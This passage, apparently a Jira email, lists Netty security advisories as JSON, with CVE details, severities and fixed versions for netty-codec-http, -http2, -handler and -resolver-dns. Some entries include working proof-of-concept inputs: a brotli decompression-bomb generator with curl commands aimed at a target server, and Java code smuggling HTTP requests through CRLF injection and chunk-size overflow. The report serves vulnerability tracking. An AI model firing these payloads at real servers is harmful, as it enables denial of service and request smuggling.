— maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// 
HttpContentDecompressor.java:129 — maxAllocation IGNORED\n.handlers(new 
SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 — maxAllocation 
IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no 
`maxAllocation` parameter at all — there is no way to constrain its output. It 
streams decompressed data in chunks via `fireChannelRead` with no total 
limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this 
only constrains individual buffer allocations, not total output. The decode 
loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` 
repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern 
exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at 
lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with 
decompression bomb protection:\n\n```java\npipeline.addLast(new 
HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new 
HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a 
brotli-compressed bomb (~1KB compressed → 1GB 
decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 * 
1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith 
open('bomb.br', 'wb') as f:\n    f.write(compressed)\n# compressed size: 
~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by 
maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB 
limit\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: gzip' 
\\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 
1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES 
maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no 
maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: 
br' \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory → 
OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and 
`Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An 
attacker can cause out-of-memory conditions on any Netty server that relies on 
`maxAllocation` for decompression bomb protection, by simply using a non-gzip 
content encoding.\n- **False sense of security**: Developers who explicitly 
configure `maxAllocation` t",
    "published_date": "2026-05-07",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-44249",
    "severity": "HIGH",
    "cvss": 8.1,
    "description": "### Summary\nAn attacker can bypass IPv6 subnet rules due 
to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid 
public IP addresses can bypass the restrictions.\n\n### 
Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)`
 method performs a bitwise AND between the incoming IP address and the 
configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess 
Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
    "published_date": "2026-06-09",
    "package": "netty-handler",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-45416",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "SslClientHelloHandler.decode() reads the 24-bit TLS 
handshake length and, when the ClientHello does not fit in the first record, 
eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard 
at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength 
!= 0`, and the commonly-used SniHandler/AbstractSniHandler constructors 
(SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass 
maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is 
disabled and no timeout is scheduled. A 16 MiB request exceeds the default 
pooled chunk size and becomes a huge/unpooled allocation performed immediately. 
The buffer is retained in the handler until the channel closes.",
    "published_date": "2026-06-09",
    "package": "netty-handler",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-48043",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "### Impact\n\nThe `DelegatingDecompressorFrameListener` 
class orchestrates HTTP/2 decompression by embedding a per-stream 
`EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, 
zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed 
chunk is a pooled `ByteBuf` handed to an anonymous 
`ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner 
responsible for releasing it.\n\nA remote peer could send frames that would 
result in the flow-controller throwing and so trigger a resource leak which at 
the end might take down the whole JVM due OOME.",
    "published_date": "2026-06-11",
    "package": "netty-codec-http2",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-50010",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "Netty is a network application framework for development of 
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, 
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any 
user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends 
X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, 
authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg 
delegate. Because the object now IS an X509ExtendedTrustManager, neither 
SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own 
OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. 
Consequently, even though Netty 4.2 sets 
endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with 
`SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` 
performs no hostname verification at all. Versions 4.1.135.Final and 
4.2.15.Final patch the issue.",
    "published_date": "2026-06-12",
    "package": "netty-handler",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-41417",
    "severity": "MEDIUM",
    "cvss": 5.3,
    "description": "### Summary\nNetty allows request-line validation to be 
bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created 
first and its URI is later changed via `setUri()`.\n\nThe constructors reject 
CRLF and whitespace characters that would break the start-line, but `setUri()` 
does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then 
write the URI into the request line verbatim. If attacker-controlled input 
reaches `setUri()`, this enables CRLF injection and insertion of additional 
HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / 
desynchronization on the HTTP side and request injection on the RTSP 
side.\n\n### Details\nThe root issue is that URI validation exists only on the 
constructor path, but not on the public setter path.\n\n- 
`io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls 
`HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` 
only performs `checkNotNull` and does not validate\n- 
`io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` 
delegates to the parent implementation\n- 
`io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` 
directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  
- Writes `request.uri()` directly into the request line\n\nThis creates the 
following bypass:\n\n1. An application creates a `DefaultHttpRequest` or 
`DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input 
is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes 
that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets 
the injected bytes after CRLF as separate requests\n\nThis appears to be an 
incomplete fix pattern where start-line validation exists, but can still be 
bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code 
first creates a normal request object and then injects a malicious request line 
using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport 
io.netty.channel.embedded.EmbeddedChannel;\nimport 
io.netty.handler.codec.http.DefaultHttpRequest;\nimport 
io.netty.handler.codec.http.HttpMethod;\nimport 
io.netty.handler.codec.http.HttpRequestEncoder;\nimport 
io.netty.handler.codec.http.HttpServerCodec;\nimport 
io.netty.handler.codec.http.HttpVersion;\nimport 
io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    
public static void main(String[] args) {\n        EmbeddedChannel client = new 
EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = 
new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest 
request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, 
HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" 
+\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" 
+\n                \"content-length: 11\\r\\n\\r\\n\" +\n                
\"Hello World\" +\n                \"GET /s1\");\n\n        
client.writeOutbound(request);\n        ByteBuf outbound = 
client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request 
===\");\n        
System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        
System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        
server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n     
   while ((msg = server.readInbound()) != null) {\n            
System.out.println(msg);\n        }\n\n        outbound.release();\n        
client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    
}\n}\n```\n\nWhen reproduced, the raw encoded request looks like 
this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 
11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as 
multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST 
/s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the 
value supplied through `setUri()` is interpreted on the wire as additional 
requests.\n\n### PoC (RTSP)\nThe same root cause also affects `",
    "published_date": "2026-05-05",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42580",
    "severity": "MEDIUM",
    "cvss": 6.5,
    "description": "### Summary\nNetty's chunk size parser silently overflows 
int, enabling request smuggling attacks.\n\n### 
Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently 
overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult 
+= digit;\n\nThe result is checked only for negative values. However, with a 
carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe 
test below shows Netty successfully parsing the second request, demonstrating 
how an attacker can smuggle a second request inside a chunked 
body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / 
HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            
\"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" 
+\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            
\"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            
\"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n        
    \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new 
HttpRequestDecoder());\n    
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, 
CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = 
channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n  
  HttpContent content = channel.readInbound();\n    
assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", 
content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    
LastHttpContent last = channel.readInbound();\n    
assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // 
Request 2\n    request = channel.readInbound();\n    
assertTrue(request.decoderResult().isSuccess());\n    last = 
channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    
last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects 
arbitrary HTTP requests",
    "published_date": "2026-05-07",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-45673",
    "severity": "MEDIUM",
    "cvss": 6.8,
    "description": "### Summary\nNetty's DNS resolver uses a predictable PRNG 
for generating DNS transaction IDs and defaults to a static UDP source port. 
This combination reduces the entropy of DNS queries, enabling DNS Cache 
Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this 
vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs: 
`DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It 
initializes only the first bucket. When an ID is returned, it is pushed back 
into the bucket at a random index generated by 
java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random = 
ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count + 
1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver 
operates within a single bucket, the sequence of IDs is predictable once the 
PRNG state is mathematically recovered.\n\n- Default Static Source Port: 
`DnsNameResolverBuilder` defaults to a `channelStrategy` of 
`ChannelPerResolver`. This binds the DatagramChannel once, resulting in a 
static source port for all subsequent queries.\n\nCombined, a static source 
port and predictable transaction IDs reduces the entropy required to secure DNS 
resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. Downstream 
applications using the default Netty DNS resolver may connect to malicious IPs, 
leading to traffic interception or MitM attacks.",
    "published_date": "2026-06-09",
    "package": "netty-resolver-dns",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-47244",
    "severity": "MEDIUM",
    "cvss": 5.3,
    "description": "### Impact\nDefaultHttp2Connection.DefaultEndpoint 
initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings 
never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default 
(Http2Settings.java:305-307 only clamps a user-supplied value). Unless the 
application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty 
HTTP/2 server advertises no limit and enforces none locally. Each open stream 
allocates a DefaultStream object, PropertyMap slots, flow-controller state and 
IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP 
connection can create hundreds of thousands of long-lived stream objects. This 
is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, 
where the absence of a low concurrent cap multiplies backend work.\n\n### 
Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2";,
    "published_date": "2026-06-09",
    "package": "netty-codec-http2",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-50020",
    "severity": "MEDIUM",
    "cvss": 5.3,
    "description": "Netty is a network application framework for development of 
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, 
before reading the first request-line, `HttpObjectDecoder` skips every byte for 
which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all 
whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines 
preceding the request-line — a carefully scoped robustness allowance intended 
to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, 
and other non-CRLF control characters goes significantly beyond this, and can 
be exploited for request-boundary confusion in pipelined or multiplexed 
transports where a front-end component treats those bytes differently. Versions 
4.1.135.Final and 4.2.15.Final patch the issue.",
    "published_date": "2026-06-12",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-50560",
    "severity": "MEDIUM",
    "cvss": 5.3,
    "description": "Netty is a network application framework for development of 
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, 
Netty HTTP/2 max header size handling produces an attack similar to HTTP/2 
Rapid Reset. There is a setting in the http2 specification called 
`SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it 
appears that Netty will behave as follows: read the request; proxy the request 
to the origin; attempt to produce a response; and create an exception while 
writing the headers for the response. Functionally, this should be similar to 
the http2 reset attack, but with a different on-the-wire signature. Versions 
4.1.135.Final and 4.2.15.Final patch the issue.",
    "published_date": "2026-06-12",
    "package": "netty-codec-http2",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 30,
    "risk_level": "medium",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  }
]{noformat}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to